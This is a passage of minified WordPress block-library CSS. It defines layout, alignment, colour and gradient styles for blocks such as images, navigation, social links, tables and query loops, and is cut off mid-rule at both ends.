img{border-radius:inherit}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption{display:table-caption;caption-side:bottom}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-position:center;mask-position:center;border-radius:0}}.wp-block-latest-comments__comment{line-height:1.1;list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{min-height:2.25em;list-style:none}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.has-dates .wp-block-latest-comments__comment,.has-excerpts .wp-block-latest-comments__comment{line-height:1.5}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;line-height:1.8;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;color:#555;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-top:.5em;margin-bottom:1em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;width:auto}.wp-block-latest-posts__featured-image.alignleft{margin-right:1em}.wp-block-latest-posts__featured-image.alignright{margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}.block-editor-image-alignment-control__row .components-base-control__field{display:flex;justify-content:space-between;align-items:center}.block-editor-image-alignment-control__row .components-base-control__field .components-base-control__label{margin-bottom:0}ol.has-background,ul.has-background{padding:1.25em 2.375em}.wp-block-media-text{ /*!rtl:begin:ignore*/direction:ltr; /*!rtl:end:ignore*/display:-ms-grid;display:grid;-ms-grid-columns:50% 1fr;grid-template-columns:50% 1fr;-ms-grid-rows:auto;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{-ms-grid-columns:1fr 50%;grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{-ms-grid-row-align:start;align-self:start}.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media,.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media{-ms-grid-row-align:center;align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{-ms-grid-row-align:end;align-self:end}.wp-block-media-text .wp-block-media-text__media{ /*!rtl:begin:ignore*/-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1; /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr; /*!rtl:begin:ignore*/-ms-grid-column:2;grid-column:2;-ms-grid-row:1;grid-row:1; /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{ /*!rtl:begin:ignore*/-ms-grid-column:2;grid-column:2;-ms-grid-row:1;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{ /*!rtl:begin:ignore*/-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{max-width:unset;width:100%;vertical-align:middle}.wp-block-media-text.is-image-fill .wp-block-media-text__media{height:100%;min-height:250px;background-size:cover}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{-ms-grid-columns:100%!important;grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{-ms-grid-column:1;grid-column:1;-ms-grid-row:2;grid-row:2}}.wp-block-navigation:not(.has-background) .wp-block-navigation__container .wp-block-navigation__container{color:#1e1e1e;background-color:#fff;min-width:200px}.items-justified-left>ul{justify-content:flex-start}.items-justified-center>ul{justify-content:center}.items-justified-right>ul{justify-content:flex-end}.items-justified-space-between>ul{justify-content:space-between}.wp-block-navigation-link{display:flex;align-items:center;position:relative;margin:0}.wp-block-navigation-link .wp-block-navigation__container:empty{display:none}.wp-block-navigation__container{list-style:none;margin:0;padding-left:0;display:flex;flex-wrap:wrap}.is-vertical .wp-block-navigation__container{display:block}.has-child>.wp-block-navigation-link__content{padding-right:.5em}.has-child .wp-block-navigation__container{border:1px solid rgba(0,0,0,.15);background-color:inherit;color:inherit;position:absolute;left:0;top:100%;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;z-index:2;opacity:0;transition:opacity .1s linear;visibility:hidden}.has-child .wp-block-navigation__container>.wp-block-navigation-link>.wp-block-navigation-link__content{flex-grow:1}.has-child .wp-block-navigation__container>.wp-block-navigation-link>.wp-block-navigation-link__submenu-icon{padding-right:.5em}@media (min-width:782px){.has-child .wp-block-navigation__container{left:1.5em}.has-child .wp-block-navigation__container .wp-block-navigation__container{left:100%;top:-1px}.has-child .wp-block-navigation__container .wp-block-navigation__container:before{content:"";position:absolute;right:100%;height:100%;display:block;width:.5em;background:transparent}.has-child .wp-block-navigation__container .wp-block-navigation-link__submenu-icon svg{transform:rotate(0)}}.has-child:hover{cursor:pointer}.has-child:hover>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.has-child:focus-within{cursor:pointer}.has-child:focus-within>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:active,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:focus,.wp-block-navigation[style*=text-decoration] .wp-block-navigation__container{text-decoration:inherit}.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content,.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:active,.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:focus{text-decoration:none}.wp-block-navigation-link__content{color:inherit;padding:.5em 1em}.wp-block-navigation-link__content+.wp-block-navigation-link__content{padding-top:0}.has-text-color .wp-block-navigation-link__content{color:inherit}.wp-block-navigation-link__label{word-break:normal;overflow-wrap:break-word}.wp-block-navigation-link__submenu-icon{height:inherit;padding:.375em 1em .375em 0}.wp-block-navigation-link__submenu-icon svg{fill:currentColor}@media (min-width:782px){.wp-block-navigation-link__submenu-icon svg{transform:rotate(90deg)}}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal}p.has-background{padding:1.25em 2.375em}p.has-text-color a{color:inherit}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{width:100%;margin-top:0;margin-bottom:0;font-size:.5em}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{margin-bottom:.7em;font-size:.7em}.wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author__name{font-weight:700;margin:0}.wp-block-post-comments-form input[type=submit]{color:#fff;background-color:#32373c;border:none;border-radius:1.55em;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:.667em 1.333em;text-align:center;text-decoration:none;overflow-wrap:break-word}.wp-block-post-comments-form input[type=submit]:active,.wp-block-post-comments-form input[type=submit]:focus,.wp-block-post-comments-form input[type=submit]:hover,.wp-block-post-comments-form input[type=submit]:visited{color:#fff}.wp-block-preformatted{white-space:pre-wrap}.wp-block-pullquote{padding:3em 0;margin-left:0;margin-right:0;text-align:center}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote:not(.is-style-solid-color){background:none}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;text-align:left;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit}.wp-block-query-loop{max-width:100%;list-style:none;padding:0}.wp-block-query-loop li{clear:both}.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap}.wp-block-query-loop.is-flex-container li{margin:0 0 1.25em;width:100%}@media (min-width:600px){.wp-block-query-loop.is-flex-container li{margin-right:1.25em}.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li:nth-child(2n){margin-right:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li:nth-child(3n){margin-right:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li:nth-child(4n){margin-right:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li:nth-child(5n){margin-right:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li:nth-child(6n){margin-right:0}}.wp-block-query-pagination{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large{margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large p,.wp-block-quote.is-style-large p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large cite,.wp-block-quote.is-large footer,.wp-block-quote.is-style-large cite,.wp-block-quote.is-style-large footer{font-size:1.125em;text-align:right}.wp-block-rss.wp-block-rss{box-sizing:border-box}.wp-block-rss.alignleft{margin-right:2em}.wp-block-rss.alignright{margin-left:2em}.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0;list-style:none}.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){.wp-block-rss.columns-2 li{width:calc(50% - 1em)}.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}.wp-block-rss.columns-4 li{width:calc(25% - 1em)}.wp-block-rss.columns-5 li{width:calc(20% - 1em)}.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;color:#555;font-size:.8125em}.wp-block-search .wp-block-search__button{background:#f7f7f7;border:1px solid #ccc;padding:.375em .625em;color:#32373c;margin-left:.625em;word-break:normal}.wp-block-search .wp-block-search__button.has-icon{line-height:0}.wp-block-search .wp-block-search__button svg{min-width:1.5em;min-height:1.5em}.wp-block-search .wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search .wp-block-search__label{width:100%}.wp-block-search .wp-block-search__input{flex-grow:1;min-width:3em;border:1px solid #949494}.wp-block-search.wp-block-search__button-only .wp-block-search__button{margin-left:0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px;border:1px solid #949494}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input{border-radius:0;border:none;padding:0 0 0 .25em}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus{outline:none}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button{padding:.125em .5em}.wp-block-separator.is-style-wide{border-bottom-width:1px}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;max-width:none;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif}.wp-block-custom-logo{line-height:0}.wp-block-custom-logo .aligncenter{display:table}.wp-block-custom-logo.is-style-rounded img{border-radius:9999px}.wp-block-social-links{display:flex;flex-wrap:wrap;justify-content:flex-start;padding-left:0;padding-right:0;text-indent:0;margin-left:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{text-decoration:none;border-bottom:0;box-shadow:none}.wp-block-social-links .wp-social-link.wp-social-link.wp-social-link{margin:4px 8px 4px 0}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{width:1em;height:1em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{justify-content:center;display:flex}.wp-block-social-links.alignright{justify-content:flex-end}.wp-social-link{display:block;border-radius:9999px;transition:transform .1s ease;height:auto}@media (prefers-reduced-motion:reduce){.wp-social-link{transition-duration:0s}}.wp-social-link a{display:block;line-height:0;transition:transform .1s ease}.wp-social-link a,.wp-social-link a:active,.wp-social-link a:hover,.wp-social-link a:visited,.wp-social-link svg{color:currentColor;fill:currentColor}.wp-social-link:hover{transform:scale(1.1)}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#fe4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none;padding:4px}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#fe4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-spacer{clear:both}p.wp-block-subhead{font-size:1.1em;font-style:italic;opacity:.75}.wp-block-tag-cloud.aligncenter{text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-table{overflow-x:auto}.wp-block-table table{width:100%}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{border-spacing:0;border-collapse:inherit;background-color:transparent;border-bottom:1px solid #f0f0f0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{font-family:inherit;overflow:auto;white-space:pre-wrap}.wp-block-video{margin-left:0;margin-right:0}.wp-block-video video{width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.wp-block-video [poster]{-o-object-fit:cover;object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-post-featured-image a{display:inline-block}.wp-block-post-featured-image img{max-width:100%;height:auto}:root .has-pale-pink-background-color{background-color:#f78da7}:root .has-vivid-red-background-color{background-color:#cf2e2e}:root .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .has-vivid-green-cyan-background-color{background-color:#00d084}:root .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .has-vivid-purple-background-color{background-color:#9b51e0}:root .has-white-background-color{background-color:#fff}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-black-background-color{background-color:#000}:root .has-pale-pink-color{color:#f78da7}:root .has-vivid-red-color{color:#cf2e2e}:root .has-luminous-vivid-orange-color{color:#ff6900}:root .has-luminous-vivid-amber-color{color:#fcb900}:root .has-light-green-cyan-color{color:#7bdcb5}:root .has-vivid-green-cyan-color{color:#00d084}:root .has-pale-cyan-blue-color{color:#8ed1fc}:root .has-vivid-cyan-blue-color{color:#0693e3}:root .has-vivid-purple-color{color:#9b51e0}:root .has-white-color{color:#fff}:root .has-very-light-gray-color{color:#eee}:root .has-cyan-bluish-gray-color{color:#abb8c3}:root .has-very-dark-gray-color{color:#313131}:root .has-black-color{color:#000}:root .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(135deg,#0693e3,#9b51e0)}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(135deg,#7adcb4,#00d082)}:root .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(135deg,#fcb900,#ff6900)}:root .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(135deg,#ff6900,#cf2e2e)}:root .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(135deg,#eee,#a9b8c3)}:root .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .has-blush-light-purple-gradient-background{background:linear-gradient(135deg,#ffceec,#9896f0)}:root .has-blush-bordeaux-gradient-background{background:linear-gradient(135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-luminous-dusk-gradient-background{background:linear-gradient(135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-pale-ocean-gradient-background{background:linear-gradient(135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .has-electric-grass-gradient-background{background:linear-gradient(135deg,#caf880,#71ce7e)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root .has-link-color 